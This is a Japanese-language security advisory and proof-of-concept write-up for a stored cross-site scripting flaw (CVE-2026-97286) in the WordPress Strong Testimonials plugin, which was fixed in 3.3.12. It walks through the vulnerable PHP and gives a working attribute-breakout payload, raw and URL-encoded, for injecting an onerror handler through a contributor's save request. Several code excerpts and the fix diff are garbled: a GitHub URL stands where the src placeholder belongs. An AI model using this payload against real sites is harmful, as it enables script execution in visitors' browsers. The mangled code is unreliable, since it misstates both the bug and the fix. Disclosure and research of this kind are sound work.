認証済みの投稿者(Contributor)は、WordPress の Strong Testimonials プラグインに攻撃者が制御するプラットフォーム写真メタデータを保存できます。バージョン 3.3.12 より前では、プラグインは保存された値を文脈に応じたエスケープを行わずに画像の src 属性内にレンダリングしていました。管理者が細工された testimonial とそれを表示する投稿を公開した後、その投稿を開いた訪問者(未認証の訪問者を含む)に対してペイロードが実行されます。
この調査は認可されたローカルラボで実施され、公開前に Patchstack を通じて開示されました。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-97286 |
| 製品 | Strong Testimonials |
| ベンダー | WP Chill |
| プラグインスラッグ | strong-testimonials |
| 脆弱性 | 認証済みストアドクロスサイトスクリプティング |
| 影響を受けるバージョン | <= 3.3.11 |
| 修正済みバージョン | 3.3.12 |
| 必要な権限 | 投稿者(Contributor)以上 |
| CWE | CWE-79: Web ページ生成時の入力の不適切な中和 |
| CVSS v3.1 | 6.5 Medium — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L |
| 研究者 | Rully Miftahur Rozaq |
| 報告日 | 2026年9月16日 |
| 公開開示日 | 2026年9月30日 |
割り当てられた CVSS v3.1 基本深刻度は Medium であるにもかかわらず、Patchstack はこのアドバイザリを低優先度に分類しています。
testimonial エディタは custom リクエスト配列を受け付け、送信されたすべてのキーを投稿メタデータとして永続化します。設定されたカスタムフィールド定義に存在しないキーは sanitize_text_field() にフォールスルーします。これにより、投稿者は自身が所有する testimonial を編集する際に、platform や platform_user_photo といったプラグイン予約のメタデータを送信できます。
サポートされているソーシャルプラットフォームの場合、プラグインは platform_user_photo を取得し、その URL が HTTP 200 レスポンスを返すことを検証した後、元の保存文字列を <img src="https://raw.githubusercontent.com/rully2212/cve-2026-97286/main/..."> 属性に補間します。HTTP ステータスの検証は、文字列を HTML 属性に対して安全にするものではありません。URL フラグメント内の引用符は src を終端させ、イベントハンドラを導入する可能性があります。
検証済みの攻撃チェーンは次のとおりです:
このインジェクションは認証済みです。すでに公開されたペイロードをトリガーする訪問者は認証されている必要はありません。
悪用に成功すると、脆弱なサムネイル経路を通じて細工された testimonial をレンダリングするページ上で、影響を受ける WordPress オリジン内に永続的な JavaScript 実行がもたらされます。コードは訪問者のブラウザ権限および WordPress セッション(存在する場合)で実行されます。
再現された経路では管理者による公開が必要であり、これが CVSS の UI:R 指標に該当します。この調査では、未認証のインジェクション、サイトのすべてのページにわたる自動実行、権限昇格、Cookie 窃取、またはサイト全体の侵害は実証されていません。
概念実証は以下の構成で再現されました:
| コンポーネント | 構成 |
|---|---|
| WordPress | 7.1 |
| Strong Testimonials | 3.3.7、無料版 |
| テーマ | Twenty Twenty-Five |
| 表示テンプレート | default-theme |
| サムネイル | 有効 |
| PHP / Apache | PHP 8.3.33 / Apache 2.4.68 |
| データベース | MariaDB 11.4 |
| 攻撃者のロール | 投稿者(Contributor) |
| 攻撃者の権限 | edit_posts=true、publish_posts=false、unfiltered_html=false |
バージョン 3.3.7 はラボで使用された正確なバージョンです。公開されている CVE レコードでは、3.3.11 までのすべてのバージョンが影響を受け、バージョン 3.3.12 で修正済みとされています。
admin/class-strong-testimonials-post-editor.php 内の save_details() は、送信された custom 配列のすべてのエントリを反復処理します。認識されないキーは汎用のサニタイズ分岐に到達し、その後 update_post_meta() で保存されます:
$custom = $_POST['custom'];
foreach ( $custom as $key => $value ) {
// ...
$sanitized_value = sanitize_text_field( $value );
update_post_meta( $post_id, $key, $sanitized_value );
}
実際のハンドラーは nonce チェックとフィールド固有のサニタイズを実行します。この検出事項は、それらのチェックを回避したり、他のユーザーの testimonial を編集したりすることには依存していません。Contributor は自身の testimonial を正当に編集していますが、予約キーである platform と platform_user_photo を指定しています。
脆弱なバージョンでは、includes/functions-image.php が platform_user_photo を読み取り、wpmtst_is_valid_image_url() を介して HTTP ステータスチェックを実行し、元の文字列を HTML 属性に挿入します:
$platform_user_photo = get_post_meta( $post_id, 'platform_user_photo', true );
if ( ! $platform_user_photo || ! wpmtst_is_valid_image_url( $platform_user_photo ) ) {
return $img;
}
return sprintf(
'<img src="https://raw.githubusercontent.com/rully2212/cve-2026-97286/main/%25s" %s %s/>',
$platform_user_photo,
$width ? "width='{$width}'" : '',
$height ? "height='{$height}'" : ''
);
URL のフラグメント部分は HTTP サーバーに送信されませんが、後で PHP によってレンダリングされる文字列には残ります。そのため、サーバーは HTTP 200 を返す無害な URL を認識する一方で、ブラウザは属性ブレイクアウトシーケンスを含む値を受け取ります。
default-theme テンプレートは wpmtst_get_thumbnail() を呼び出し、返された画像マークアップを直接出力します:
<figure class="wp-block-image wpmtst-testimonial-avatar">
<?php echo $wpmtst_avatar_html; ?>
</figure>
テンプレートは、ヘルパーがすでに安全なHTMLを生成していることを前提としています。影響を受けるバージョンでは、プラットフォームの写真ヘルパーが src コンテキスト用のURLをエスケープしていませんでした。
この問題は、自身が所有するシステム、または明示的にテストを許可されたシステムでのみ再現してください。
<= 3.3.11。default-theme を使用する Strong Testimonials Displayビュー。Contributorとしてサインインし、新しい testimonial の下書きを作成します。
インターセプトプロキシを使用して、正規の POST /wp-admin/post.php 保存リクエストをキャプチャします。その完全なフォームボディ、セッションCookie、新しいWordPress nonce、プラグインnonce、およびContributorが所有する testimonial のIDを保持します。
次のパラメータをフォームボディに追加します:
custom[platform]=facebook
custom[platform_user_photo]=http://wordpress/index.php?rest_route=/#" onerror="alert(1)" x="
URLエンコードされたフォームのフラグメント:
&custom%5Bplatform%5D=facebook&custom%5Bplatform_user_photo%5D=http%3A%2F%2Fwordpress%2Findex.php%3Frest_route%3D%2F%23%22%20onerror%3D%22alert%281%29%22%20x%3D%22
wordpress ホスト名は、ローカルラボで使用される Docker サービス名です。別の許可された環境では、WordPress から到達可能で HTTP 200 を返す、研究者が管理するテストエンドポイントに置き換えてください。サードパーティや機密性の高い内部サービスを対象にしないでください。
変更した保存リクエストを送信し、 testimonial をレビューのために提出します。
Shortcode ブロックを含む通常の WordPress 投稿を作成します。例の ID を、テストインストールの Display ビュー ID と細工した testimonial ID に置き換えます:
[testimonial_view id="2" post_ids="22" thumbnail="1"]

投稿をレビュー用に送信します。管理者として、細工された testimonial とトリガー投稿の両方を公開します。
WordPress にログインしていない状態で、別のブラウザまたはプライベートウィンドウで公開済みのトリガー投稿を開きます。
保存された値は投稿メタデータから直接検証されました:

フロントエンドのレスポンスには、以下と同等の image 要素が含まれていました:
<img src="http://wordpress/index.php?rest_route=/" onerror="alert(1)" x="" width="100" height="100">
その後、ペイロードは未認証の訪問者に対して実行されました:

再生不可能な、サニタイズ済みのリクエストテンプレートが poc/request-template.txt に含まれています。これは意図的に、再利用可能な認証情報およびnonce値を省略しています。
Strong Testimonials 3.3.12 は、脆弱なシンクにおいてコンテキスト依存のURLエスケープを適用しています:
-return sprintf( '<img src="https://raw.githubusercontent.com/rully2212/cve-2026-97286/main/%25s" %s %s/>', $platform_user_photo, $width ? "width='{$width}'" : '', $height ? "height='{$height}'" : '' );
+return sprintf( '<img src="https://raw.githubusercontent.com/rully2212/cve-2026-97286/main/%25s" %s %s/>', esc_url( $platform_user_photo ), $width ? "width='{$width}'" : '', $height ? "height='{$height}'" : '' );
修正内容は、タグ付けされたソース 3.3.12 で確認できます。脆弱な実装は 3.3.11 で引き続き確認できます。
サイト所有者は Strong Testimonials をバージョン 3.3.12 以降に更新してください。
多層防御として、メンテナーは以下も行うべきです:
custom キーを永続化する代わりに、テスティモニアルエディターが受け入れるメタデータキーを許可リスト化する。esc_url_raw() または同等の URL サニタイザーで検証する。esc_url() や通常の属性に対する esc_attr() が含まれる。